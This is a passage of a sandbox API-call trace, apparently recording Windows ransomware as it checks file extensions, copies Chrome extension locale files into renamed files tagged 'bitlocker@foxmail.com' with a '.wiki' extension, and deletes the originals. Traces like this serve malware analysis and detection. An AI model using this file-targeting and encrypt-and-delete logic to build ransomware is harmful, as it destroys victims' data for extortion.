lstrlenW (lpString=".7z") returned 3 [0172.261] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.261] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.261] lstrlenW (lpString=".dbf") returned 4 [0172.261] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.261] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.262] lstrlenW (lpString=".1cd") returned 4 [0172.262] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.262] lstrlenW (lpString=".jpg") returned 4 [0172.262] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.262] lstrlenW (lpString=".doc") returned 4 [0172.262] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.262] lstrlenW (lpString=".docx") returned 5 [0172.262] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.262] lstrlenW (lpString=".pdf") returned 4 [0172.262] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.262] lstrlenW (lpString=".xls") returned 4 [0172.262] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.262] lstrlenW (lpString=".xlsx") returned 5 [0172.262] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.262] lstrlenW (lpString=".ppt") returned 4 [0172.262] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.262] lstrlenW (lpString=".zip") returned 4 [0172.262] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.262] lstrlenW (lpString=".rar") returned 4 [0172.262] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.262] lstrlenW (lpString=".bz2") returned 4 [0172.262] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.262] lstrlenW (lpString=".7z") returned 3 [0172.262] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.263] lstrlenW (lpString=".dbf") returned 4 [0172.263] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.263] lstrlenW (lpString=".1cd") returned 4 [0172.263] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0172.263] lstrlenW (lpString=".jpg") returned 4 [0172.263] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.263] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.263] lstrlenW (lpString="messages.json") returned 13 [0172.263] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.263] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=228) returned 1 [0172.263] CloseHandle (hObject=0x334) returned 1 [0172.264] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json")) returned 0x2020 [0172.264] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.264] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.264] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.264] GetLastError () returned 0x0 [0172.264] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe4, lpOverlapped=0x0) returned 1 [0172.265] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.266] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.266] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.266] SetEndOfFile (hFile=0x1a4) returned 1 [0172.267] CloseHandle (hObject=0x1a4) returned 1 [0172.267] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.267] SetEndOfFile (hFile=0x334) returned 1 [0172.267] CloseHandle (hObject=0x334) returned 1 [0172.268] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.268] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json")) returned 1 [0172.268] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.268] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.268] lstrlenW (lpString=".doc") returned 4 [0172.268] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.268] lstrlenW (lpString=".docx") returned 5 [0172.268] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.268] lstrlenW (lpString=".pdf") returned 4 [0172.268] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.268] lstrlenW (lpString=".xls") returned 4 [0172.268] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.268] lstrlenW (lpString=".xlsx") returned 5 [0172.268] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.268] lstrlenW (lpString=".ppt") returned 4 [0172.268] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.268] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.268] lstrlenW (lpString=".zip") returned 4 [0172.269] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.269] lstrlenW (lpString=".rar") returned 4 [0172.269] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.269] lstrlenW (lpString=".bz2") returned 4 [0172.269] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.269] lstrlenW (lpString=".7z") returned 3 [0172.269] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.269] lstrlenW (lpString=".dbf") returned 4 [0172.269] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.269] lstrlenW (lpString=".1cd") returned 4 [0172.269] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.269] lstrlenW (lpString=".jpg") returned 4 [0172.269] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.269] lstrlenW (lpString=".doc") returned 4 [0172.269] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.269] lstrlenW (lpString=".docx") returned 5 [0172.269] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.269] lstrlenW (lpString=".pdf") returned 4 [0172.269] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.269] lstrlenW (lpString=".xls") returned 4 [0172.269] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.269] lstrlenW (lpString=".xlsx") returned 5 [0172.269] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.269] lstrlenW (lpString=".ppt") returned 4 [0172.269] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.270] lstrlenW (lpString=".zip") returned 4 [0172.270] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.270] lstrlenW (lpString=".rar") returned 4 [0172.270] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.270] lstrlenW (lpString=".bz2") returned 4 [0172.270] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.270] lstrlenW (lpString=".7z") returned 3 [0172.271] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.271] lstrlenW (lpString=".dbf") returned 4 [0172.271] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.271] lstrlenW (lpString=".1cd") returned 4 [0172.271] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.272] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0172.272] lstrlenW (lpString=".jpg") returned 4 [0172.272] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.272] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.272] lstrlenW (lpString="messages.json") returned 13 [0172.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.272] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=233) returned 1 [0172.272] CloseHandle (hObject=0x334) returned 1 [0172.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json")) returned 0x2020 [0172.273] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.273] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.273] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.273] GetLastError () returned 0x0 [0172.273] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xe9, lpOverlapped=0x0) returned 1 [0172.274] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.275] ReadFile (in: hFile=0x334, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.275] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.275] SetEndOfFile (hFile=0x1a4) returned 1 [0172.276] CloseHandle (hObject=0x1a4) returned 1 [0172.276] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.276] SetEndOfFile (hFile=0x334) returned 1 [0172.276] CloseHandle (hObject=0x334) returned 1 [0172.277] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.277] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json")) returned 1 [0172.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.277] lstrlenW (lpString=".doc") returned 4 [0172.277] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.277] lstrlenW (lpString=".docx") returned 5 [0172.277] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.277] lstrlenW (lpString=".pdf") returned 4 [0172.277] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.277] lstrlenW (lpString=".xls") returned 4 [0172.277] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.277] lstrlenW (lpString=".xlsx") returned 5 [0172.277] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.277] lstrlenW (lpString=".ppt") returned 4 [0172.277] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.277] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.277] lstrlenW (lpString=".zip") returned 4 [0172.278] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.278] lstrlenW (lpString=".rar") returned 4 [0172.278] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.278] lstrlenW (lpString=".bz2") returned 4 [0172.278] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.278] lstrlenW (lpString=".7z") returned 3 [0172.278] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.278] lstrlenW (lpString=".dbf") returned 4 [0172.278] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.278] lstrlenW (lpString=".1cd") returned 4 [0172.278] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.278] lstrlenW (lpString=".jpg") returned 4 [0172.278] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.278] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.278] lstrlenW (lpString=".doc") returned 4 [0172.278] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.278] lstrlenW (lpString=".docx") returned 5 [0172.278] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.278] lstrlenW (lpString=".pdf") returned 4 [0172.278] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.278] lstrlenW (lpString=".xls") returned 4 [0172.278] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.278] lstrlenW (lpString=".xlsx") returned 5 [0172.278] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.279] lstrlenW (lpString=".ppt") returned 4 [0172.279] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.279] lstrlenW (lpString=".zip") returned 4 [0172.279] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.279] lstrlenW (lpString=".rar") returned 4 [0172.279] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.279] lstrlenW (lpString=".bz2") returned 4 [0172.279] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.279] lstrlenW (lpString=".7z") returned 3 [0172.279] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.279] lstrlenW (lpString=".dbf") returned 4 [0172.279] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.279] lstrlenW (lpString=".1cd") returned 4 [0172.279] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.279] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json") returned 151 [0172.279] lstrlenW (lpString=".jpg") returned 4 [0172.279] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.279] 